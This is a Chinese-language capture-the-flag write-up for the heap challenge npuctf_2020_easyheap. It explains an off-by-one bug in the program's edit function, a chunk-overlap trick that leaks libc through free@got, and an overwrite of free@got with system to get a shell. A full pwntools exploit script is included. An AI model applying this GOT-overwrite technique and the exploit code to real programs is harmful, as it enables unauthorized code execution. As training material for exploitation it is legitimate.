npuctf_2020_easyheap
使用checksec
查看:
开启了Canary和栈不可执行,没有开启PIE。
先运行一下看看:
OK,菜单出来了,堆题,放进IDA中分析:
很标准很标准的主函数,接下来一个一个模块进行分析:
create()
:
heaparray[i] = malloc(0x10uLL)
:程序在创建用户申请的chunk时,会先创建一个0x10
大小的chunkif ( size != 24 && size != 56 )
:用户能够创建的chunk的大小已经固定死:0x18
或0x38
v0 = heaparray[i]; v0[1] = malloc(size); *heaparray[i] = size;
:程序自动创建的chunk存放了用户创建的chunk的size和address
edit()
:
read_input(heaparray[(signed int)v1][1], *heaparray[(signed int)v1] + 1LL);
:off-by-one
delete()
:
heaparray[v1] = 0LL;
:指针置0了,没啥问题
show()
:
printf("Size : %ld\nContent : %s\n", *heaparray[(signed int)v1], heaparray[(signed int)v1][1], v1);
:从程序自动创建的chunk中定位所需要输出的内容,输出的内容是用户创建的chunk的size和内容
题目思路
- 存在
off-by-one
,可以用来覆盖下一个chunk的size位置 - 用户只能创建
0x18
和0x38
size的chunk - name_chunk里面存了chunk的地址,目标就是这个地址
- 修改这个地址为
free@got
泄露出libc - 计算出
system@got
,将free@got
替换为system@got
- 将某个chunk的内容设为
/bin/sh\x00
- 执行free(chunk)就相当于执行
system('/bin/sh')
步骤解析
首先创建两个
0x18
大小的chunk
红框处存放的就是chunk1的地址,执行show()的时候,就是从该地址取值的,如果将该地址修改为free@got,执行show()的时候就会泄露出free的真实地址。
因为存在off-by-one,修改chunk0的时候可以修改到name_chunk1的size位,将这个位置修改为
0x41
,可以刚好覆盖到name_chunk1和chunk1
再将chunk1 free掉,重新申请一块
0x38
大小的chunk这里用的payload是
payload = b'M'*0x20 + p64(0x38) + p64(elf.got['free'])
解释下,delete()时先free的是chunk1,再free的name_chunk1,
create()
时先申请的是程序自动创建的chunk,所以最后如下图所示:
修改新chunk即可修改新chunk的name_chunk
name_chunk里存放了chunk的地址,将该地址修改为free@got进行show()操作即可泄露libc
得到地址后,计算出system@got将free@got覆盖为system@got
执行free即是执行system(’/bin/sh’)
完整exp
from re import A
from pwn import *
#start
# r = remote("node4.buuoj.cn",28759)
r = process("../buu/npuctf_2020_easyheap")
elf = ELF("../buu/npuctf_2020_easyheap")
libc = ELF("../buu/ubuntu18(64).so")
def add(size, content):
r.sendlineafter("Your choice :",'1')
r.sendlineafter("only) : ",str(size))
r.sendlineafter("Content:",content)
def edit(idx, content):
r.sendlineafter("Your choice :",'2')
r.sendlineafter("Index :",str(idx))
r.recvuntil("Content: ")
r.send(content)
def show(idx):
r.sendlineafter("Your choice :",'3')
r.sendlineafter("Index :",str(idx))
def delete(idx):
r.sendlineafter("Your choice :",'4')
r.sendlineafter("Index :",str(idx))
add(0x18,"MMMM")
add(0x18,"MMMM")
# gdb.attach(r)
payload = b'/bin/sh\x00' + b'M'*0x10 + b'\x41'
edit(0,payload)
# gdb.attach(r)
delete(1)
payload = b'M'*0x20 + p64(0x38) + p64(elf.got['free'])
add(0x38,payload)
# gdb.attach(r)
show(1)
free_addr = u64(r.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
#libc
libc_base = free_addr - libc.symbols['free']
system_addr = libc_base + libc.symbols['system']
edit(1,p64(system_addr))
gdb.attach(r)
delete(0)
r.interactive()